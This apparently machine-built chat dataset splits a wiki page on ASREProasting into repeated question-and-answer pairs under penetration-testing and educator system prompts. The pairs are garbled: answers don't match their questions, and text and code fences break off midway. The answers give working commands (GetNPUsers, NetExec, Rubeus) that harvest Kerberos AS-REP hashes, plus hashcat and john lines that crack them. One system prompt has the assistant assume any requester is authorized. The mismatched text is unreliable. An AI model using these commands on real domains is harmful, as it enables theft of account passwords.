The pre-authentication requires the requesting user to supply its secret key (DES, RC4, AES128 or AES256) derived from the user password. Technically, when asking the KDC (Key Distribution Center) for a TGT (Ticket Granting Ticket), the requesting user needs to validate pre-authentication by sending a timestamp encrypted with it's own credentials. It ensures the user is requesting a TGT for himself. Once validated, the TGT is then sent to the user in the KRB_AS_REP message, but that message also contains a session key. That session key is encrypted with the requested user's NT hash.

Because some applications don't support Kerberos preauthentication, it is common to find users with Kerberos preauthentication disabled, hence allowing attackers to request TGTs for these users and crack the session keys offline. This is ASREProasting.

While this technique can possibly allow to retrieve a user's credentials, the TGT obtained in the KRB_AS_REP messages are encrypted cannot be used without knowledge of the account's password.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for ASREProast - Theory

[Assistant]
The Kerberos authentication protocol works with tickets in order to grant access. A ST (Service Ticket) can be obtained by presenting a TGT (Ticket Granting Ticket). That prior TGT can be obtained by validating a first step named "pre-authentication" (except if that requirement is explicitly removed for some accounts, making them vulnerable to ASREProast).

The pre-authentication requires the requesting user to supply its secret key (DES, RC4, AES128 or AES256) derived from the user password. Technically, when asking the KDC (Key Distribution Center) for a TGT (Ticket Granting Ticket), the requesting user needs to validate pre-authentication by sending a timestamp encrypted with it's own credentials. It ensures the user is requesting a TGT for himself. Once validated, the TGT is then sent to the user in the KRB_AS_REP message, but that message also contains a session key. That session key is encrypted with the requested user's NT hash.

Because some applications don't support Kerberos preauthentication, it is common to find users with Kerberos preauthentication disabled, hence allowing attackers to request TGTs for these users and crack the session keys offline. This is ASREProasting.

While this technique can possibly allow to retrieve a user's credentials, the TGT obtained in the KRB_AS_REP messages are encrypted cannot be used without knowledge of the account's password.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for ASREProast - Theory

Response:
The Kerberos authentication protocol works with tickets in order to grant access. A ST (Service Ticket) can be obtained by presenting a TGT (Ticket Granting Ticket). That prior TGT can be obtained by validating a first step named "pre-authentication" (except if that requirement is explicitly removed for some accounts, making them vulnerable to ASREProast).

The pre-authentication requires the requesting user to supply its secret key (DES, RC4, AES128 or AES256) derived from the user password. Technically, when asking the KDC (Key Distribution Center) for a TGT (Ticket Granting Ticket), the requesting user needs to validate pre-authentication by sending a timestamp encrypted with it's own credentials. It ensures the user is requesting a TGT for himself. Once validated, the TGT is then sent to the user in the KRB_AS_REP message, but that message also contains a session key. That session key is encrypted with the requested user's NT hash.

Because some applications don't support Kerberos preauthentication, it is common to find users with Kerberos preauthentication disabled, hence allowing attackers to request TGTs for these users and crack the session keys offline. This is ASREProasting.

While this technique can possibly allow to retrieve a user's credentials, the TGT obtained in the KRB_AS_REP messages are encrypted cannot be used without knowledge of the account's password.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of ASREProast - Practice

[Assistant]
> [!TIP]
> While this attack can be carried out without any prior foothold (domain user credentials), there is no way of finding out users with Do not require Kerberos preauthentication set without that prior foothold.

::: tabs

=== UNIX-like

The Impacket script GetNPUsers (Python) can get TGTs for the users that have the property Do not require Kerberos preauthentication set.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of ASREProast - Practice

Response:
> [!TIP]
> While this attack can be carried out without any prior foothold (domain user credentials), there is no way of finding out users with Do not require Kerberos preauthentication set without that prior foothold.

::: tabs

=== UNIX-like

The Impacket script GetNPUsers (Python) can get TGTs for the users that have the property Do not require Kerberos preauthentication set.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute ASREProast - Practice?

[Assistant]
> [!TIP]
> While this attack can be carried out without any prior foothold (domain user credentials), there is no way of finding out users with Do not require Kerberos preauthentication set without that prior foothold.

::: tabs

=== UNIX-like

The Impacket script GetNPUsers (Python) can get TGTs for the users that have the property Do not require Kerberos preauthentication set.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
> [!TIP]
> While this attack can be carried out without any prior foothold (domain user credentials), there is no way of finding out users with Do not require Kerberos preauthentication set without that prior foothold.

::: tabs

=== UNIX-like

The Impacket script GetNPUsers (Python) can get TGTs for the users that have the property Do not require Kerberos preauthentication set.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe users list dynamically queried with an LDAP anonymous bind in the context of penetration testing

[Assistant] GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe users list dynamically queried with an LDAP anonymous bind in the context of penetration testing

Response: GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute users list dynamically queried with an LDAP anonymous bind?

[Assistant] GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute users list dynamically queried with an LDAP anonymous bind?

Response: GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about with a users file?

[Assistant] GetNPUsers.py -usersfile users.txt -request -format hashcat -outputfile ASREProastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about with a users file?

Response: GetNPUsers.py -usersfile users.txt -request -format hashcat -outputfile ASREProastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on with a users file

[Assistant] GetNPUsers.py -usersfile users.txt -request -format hashcat -outputfile ASREProastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: GetNPUsers.py -usersfile users.txt -request -format hashcat -outputfile ASREProastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain users list dynamically queried with a LDAP authenticated bind (password)

[Assistant] GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain users list dynamically queried with a LDAP authenticated bind (password)

Response: GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on users list dynamically queried with a LDAP authenticated bind (password)

[Assistant] GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on users list dynamically queried with a LDAP authenticated bind (password)

Response: GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is users list dynamically queried with a LDAP authenticated bind (NT hash)?

[Assistant]
GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -hashes 'LMhash:NThash' -dc-ip $KeyDistributionCenter 'DOMAIN/USER'
``

This can also be achieved with NetExec (Python).

`bash
netexec ldap $TARGETS -u $USER -p $PASSWORD --asreproast ASREProastables.txt --kdcHost $KeyDistributionCenter
`

The kerberoast pure-python toolkit is a good alternative to the tools mentioned above.

=== Windows

The same thing can be done with Rubeus from a session running with a domain user privileges.

`powershell
Rubeus.exe asreproast  /format:hashcat /outfile:ASREProastables.txt
`

:::

Depending on the output format used (hashcat or john), hashcat and JohnTheRipper can be used to try cracking the hashes.

`bash
hashcat -m 18200 -a 0 ASREProastables.txt $wordlist
`

`bash
john --wordlist=$wordlist ASREProastables.txt
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is users list dynamically queried with a LDAP authenticated bind (NT hash)?

Response:
GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -hashes 'LMhash:NThash' -dc-ip $KeyDistributionCenter 'DOMAIN/USER'
``

This can also be achieved with NetExec (Python).

`bash
netexec ldap $TARGETS -u $USER -p $PASSWORD --asreproast ASREProastables.txt --kdcHost $KeyDistributionCenter
`

The kerberoast pure-python toolkit is a good alternative to the tools mentioned above.

=== Windows

The same thing can be done with Rubeus from a session running with a domain user privileges.

`powershell
Rubeus.exe asreproast  /format:hashcat /outfile:ASREProastables.txt
`

:::

Depending on the output format used (hashcat or john), hashcat and JohnTheRipper can be used to try cracking the hashes.

`bash
hashcat -m 18200 -a 0 ASREProastables.txt $wordlist
`

`bash
john --wordlist=$wordlist ASREProastables.txt
``